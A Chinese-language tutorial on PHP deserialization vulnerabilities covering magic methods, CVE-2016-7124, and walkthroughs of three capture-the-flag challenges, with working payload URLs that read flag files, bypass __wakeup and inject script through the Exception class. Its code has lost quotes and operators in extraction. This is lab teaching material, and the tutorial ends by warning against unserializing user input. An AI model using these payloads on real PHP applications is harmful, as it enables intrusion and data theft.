尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

序列化漏洞

序列化漏洞 序列化漏洞 — 一根字符串牵出整个服务器前面我们学了 RCE输入一段命令就能控制服务器。但你有没想过——一串看似无害的字符串也能演变成 RCE这就是序列化漏洞的可怕之处。今天从基础概念到魔术方法再到网鼎杯真题和 CVE-2016-7124一层一层剥开序列化攻击的面纱。课程概览1. PHP 序列化与反序列化原理 2. 无类序列化 → CTF 真题入门 3. 类序列化 → 对象与魔术方法 4. 九大魔术方法逐个击破 5. CTF 三大真题网鼎杯 / 极客大挑战 / XSS 原生类一、PHP 序列化与反序列化理论什么是序列化序列化就是将变量或对象转换为字符串以便存储或传输。在另一个环境中通过反序列化恢复成原来的样子。serialize()// 将对象转换成字符串unserialize()// 将字符串还原成对象现实类比序列化 把一本书的内容翻译成摩斯电码方便电线传输 反序列化 在另一端把摩斯电码还原成书本内容为什么会产生漏洞当unserialize()的参数是用户可以控制的攻击者就能构造恶意的序列化字符串触发对象中的危险方法。二、案例 1无类序列化 — 入门目标两个文件1.php和flag.php在同一级目录。flag.php里藏着 Flag。1.php?phperror_reporting(0);includeflag.php;$KEYderry;$str$_GET[x];if(unserialize($str)$KEY){echo$flag./br;}show_source(__FILE__);?解题思路把suer序列化后传给参数x让反序列化结果等于$KEY。在线运行工具https://c.runoob.com/compile/1/?phpechoserialize(flag);// 输出s:5:user;?访问http://127.0.0.1/1.php?xs:5:user; Flag 到手序列化字符串格式解读s:5:user; │ │ └── 值 │ └── 字符串长度 └── s 代表 string字符串三、案例 2CTF 真题 — Cookie 反序列化题目?phperror_reporting(0);include_once(flag.php);$cookie$_COOKIE[ISecer];// ...elseif(unserialize($cookie)$KEY){echo$flag;}// ...$KEYISecer:www.isecer.com;// ← 注意这行在最后?步骤 1序列化 $KEY?phpechoserialize(ISecer:www.isecer.com);// 输出s:21:ISecer:www.isecer.com;?用 BP 拦截请求在 Cookie 中添加Cookie: ISecers:21:ISecer:www.isecer.com;步骤 2发现被坑了 — 代码审计为什么没拿到 Flag因为$KEY的定义在判断语句之后elseif(unserialize($cookie)$KEY)// ← 此时 $KEY 还未定义值为 NULL 空字符串// ...$KEYISecer:www.isecer.com;// ← 这行在后面$KEY当变量不存在时就是空字符串。所以我们需要反序列化为空字符串。步骤 3拿到 Flag?phpechoserialize();// 输出s:0:;?BP 修改 CookieCookie: ISecers:0:; Flag 到手代码审计能力决定了你能不能跳出陷阱。四、案例 3类序列化序列化对象?phpclassPerson{public$namederry;public$age18;}$pnewPerson();$objserialize($p);print_r($obj);// 输出O:6:Person:2:{s:4:name;s:5:derry;s:3:age;i:18;}?格式解读O:6:Person:2:{s:4:name;s:5:derry;s:3:age;i:18;} │ │ └── 类名 │ └──────── name ────────┘ └────── age ────────┘ │ │ └── 2 个属性 │ └── 类名长度 └── O 代表 Object对象反序列化对象?php$clzO:6:Person:2:{s:4:name;s:5:user;s:3:age;i:18;};print_r(unserialize($clz));?修改对象属性值?phpclassPerson{public$nameuser;public$age18;}$clzO:6:Person:2:{s:4:name;s:8:user666;s:3:age;i:18;};$perunserialize($clz);echo$per-name;// 输出user666 ← 被篡改了?关键结论攻击者可以篡改序列化字符串中的属性值控制反序列化后对象的行为五、九大魔术方法 — 反序列化的「触发器」魔术方法是在特定情况下由 PHP 自动调用的方法。反序列化漏洞之所以危险正是因为攻击者可以触发这些方法。魔术方法全家福方法触发时机攻击价值__construct()new 对象时⚠️ 初始化__destruct()对象销毁时 最常用反序列化后必触发__sleep()序列化时 影响序列化__wakeup()反序列化时 反序列化自动调用__toString()把对象当字符串使用时echo $obj时触发__call()调用不存在的方法时__get()/__set()访问不存在属性 / 赋值时__invoke()把对象当函数调用时__clone()clone 对象时__isset()/__unset()对私有属性 isset / unset 时5.1__construct()和__destruct()classPerson{public$nameuser;function__construct(){echo调用 __constructbr;}function__destruct(){echo调用 __destructbr;}}$anewPerson();echoserialize($a);// 输出顺序__construct → 序列化字符串 → __destruct__destruct是反序列化攻击中最关键的触发点——只要对象生命周期结束请求处理完它必定被调用。5.2__sleep()和__wakeup()classPerson{public$nameuser;function__sleep(){echo调用 __sleepbr;returnarray(name);}function__wakeup(){echo调用 __wakeupbr;}}$anewPerson();echoserialize($a);// 序列化时调用 __sleep$bO:6:Person:1:{s:4:name;s:5:user;};unserialize($b);// 反序列化时调用 __wakeup__wakeup()在反序列化时自动触发经常用于重新初始化数据库连接。也是攻击者最爱的入口之一。5.3__get()和__set()当尝试访问不存在的私有属性时触发。classPerson{public$nameluojie;private$strhello;function__get($b){echo调用 __getbr;return$this-str;}function__set($name,$value){echo调用 __setbr;$this-str$value;}}$anewPerson();echo$a-age;// age 不存在 → 触发 __get$a-age13;// age 不存在 → 触发 __set5.4__call()和__callStatic()调用对象中不存在的方法时触发。classPerson{function__call($name,$arguments){echo调用 __callbr;}publicstaticfunction__callStatic($func,$arguments){echo调用 __callStaticbr;}}$anewPerson();$a-method();// 不存在 → 触发 __callPerson::method2();// 不存在的静态方法 → 触发 __callStatic5.5__toString()和__clone()classPerson{public$nameluojie;function__toString(){echo调用 __toStringbr;return$this-name;}function__clone(){echo调用 __clonebr;}}$anewPerson();echo$a;// 把对象当字符串 → 触发 __toString$cclone$a;// clone → 触发 __clone__toString()在echo $obj、字符串拼接等场景下触发是另一个高频攻击入口。5.6__invoke()classPerson{function__invoke($p1,$p2){return$p1.---.$p2;}}$anewPerson();echo$a(luojie,love you);// 把对象当函数调用 → 触发 __invoke5.7__isset()和__unset()classPerson{public$sex;private$name;function__isset($name){echo调用 __issetbr;}function__unset($name){echo调用 __unsetbr;}}$personnewPerson(luojie,18,male);isset($person-name);// 私有属性 → 触发 __issetunset($person-name);// 私有属性 → 触发 __unset六、CTF 三大真题解析真题 12020 网鼎杯·青龙组 — AreUSerialz题目概述给你两个文件NewFlag.php放 Flag 逻辑和ctf2.php主逻辑。核心类FileHandler包含文件读写功能入口是$_GET[str]反序列化。代码分析入口if(isset($_GET[str])){$str(string)$_GET[str];if(is_valid($str)){// 校验 ASCII 可打印字符$objunserialize($str);}}// 程序结束 → 对象销毁 → 自动调用 __destruct()关键方法__destruct()function__destruct(){if($this-op2)// ← 用 强比较值为 2 就重置为 1$this-op1;$this-content;$this-process();}process()分支publicfunctionprocess(){if($this-op1){// ← 用 弱比较$this-write();// 写入文件}elseif($this-op2){$res$this-read();// ← 读取 Flag我们要这个$this-output($res);}}解题陷阱与绕过陷阱__destruct()用判断op 2时会重置为1。绕过传op 2前面带个空格→ 2为 false 不重置 → 1为 false → 进入read()分支错误尝试属性设为protected序列化后含\0字符is_valid()校验不通过。正确答案 — 改为public?phpclassFileHandler{public$op 2;public$filenameNewFlag.php;public$contentcs;}$fhnewFileHandler();echoserialize($fh);// 输出O:11:FileHandler:3:{s:2:op;s:2: 2;s:8:filename;s:11:NewFlag.php;s:7:content;s:2:cs;}?http://localhost/ctf2.php?strO:11:FileHandler:3:{s:2:op;s:2: 2;s:8:filename;s:11:NewFlag.php;s:7:content;s:2:cs;}Flag 到手踩坑点解决方案强比较重置opop 2前加空格绕过protected序列化含\0改为public真题 2[极客大挑战 2019] PHP — CVE-2016-7124题目概述BUU 在线靶场https://buuoj.cn/challenges# → 搜索极客大挑战 2019 PHP步骤 1目录扫描用 7kbscan 扫描备份字典发现www.zip→ 下载到完整源码备份。步骤 2分析 index.php$select$_GET[select];$objunserialize($select);// 反序列化用户输入步骤 3分析 class.php类Name中有__wakeup()方法会重置属性值。正常反序列化时__wakeup()先执行把我们的恶意值覆盖掉了。步骤 4CVE-2016-7124 —__wakeup()绕过漏洞原理当序列化字符串中表示对象属性个数的值大于真实属性个数时PHP 会跳过__wakeup()的执行影响版本PHP5 5.6.25PHP7 7.0.10O:4:Name:2:{...} ← 2 个属性 → 正常触发 __wakeup O:4:Name:3:{...} ← 3 个属性实际只有 2 个→ 跳过 __wakeup构造 Payload?phpclassName{private$usernameadmin;private$password100;}$nnewName();echoserialize($n);// 输出O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}// 手动把 2 改为 3// O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}?http://xxx.node5.buuoj.cn:81/?selectO:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}__wakeup()被跳过 → 直接拿到 Flag%00Name%00解释private属性序列化时格式%00类名%00属性名类名Name前面加%00%00Name%00两个属性就加两个%00类名%00十个就加十个真题 3CTF-XSS — 原生类 Exception 利用题目?php$aunserialize($_GET[k]);echo$a;// echo 对象 → 触发 __toString()?代码中没有任何自定义类但echo $a会触发__toString()。怎么办解法利用 PHP 原生类PHP 有很多内置的原生类本身就定义了各种魔术方法。查找哪些原生类有魔术方法?php$classesget_declared_classes();foreach($classesas$class){$methodsget_class_methods($class);foreach($methodsas$method){if(in_array($method,array(__destruct,__toString,__wakeup,...))){print$class.::.$method.\n;}}}Exception 类Exception是 PHP 所有用户级异常的基类它有__toString()方法。?php$enewException(scriptalert(1)/script);echourlencode(serialize($e));?最终 Payloadhttp://localhost/ctf_xss.php?kO:9:Exception:7:{s:10:...message...scriptalert(1)/script...} XSS 成功执行用原生类Exception的__toString()输出了 XSS 代码。七、课后作业获取2020 网鼎杯·青龙组 AreUSerialz的最终 Flag。序列化漏洞攻击全景图序列化漏洞 ├── 无类序列化 │ └── 简单值比较 → 绕过 if 判断 ├── 类序列化 │ ├── 篡改对象属性值 │ └── 触发魔术方法 │ ├── __destruct() ← 对象销毁最常用 │ ├── __wakeup() ← 反序列化自动调用 │ │ └── CVE-2016-7124 ← 属性数 实际数 → 跳过 │ ├── __toString() ← echo / 字符串拼接 │ ├── __call() ← 调用不存在方法 │ └── __invoke() ← 对象当函数调用 ├── protected/private 绕过 │ ├── 改为 public │ └── %00类名%00 序列化格式 ├── 原生类利用 │ └── Exception、Error、SoapClient 等 └── 防御 └── 不要对用户输入做 unserialize()写在最后序列化漏洞是 PHP 安全中最需要「想象力」的漏洞——攻击者需要理解类结构、魔术方法触发逻辑、甚至原生类的行为。但一旦构造出有效的 POP 链效果往往是毁灭性的。永远不要对用户可控的数据调用unserialize()。下一课见
返回列表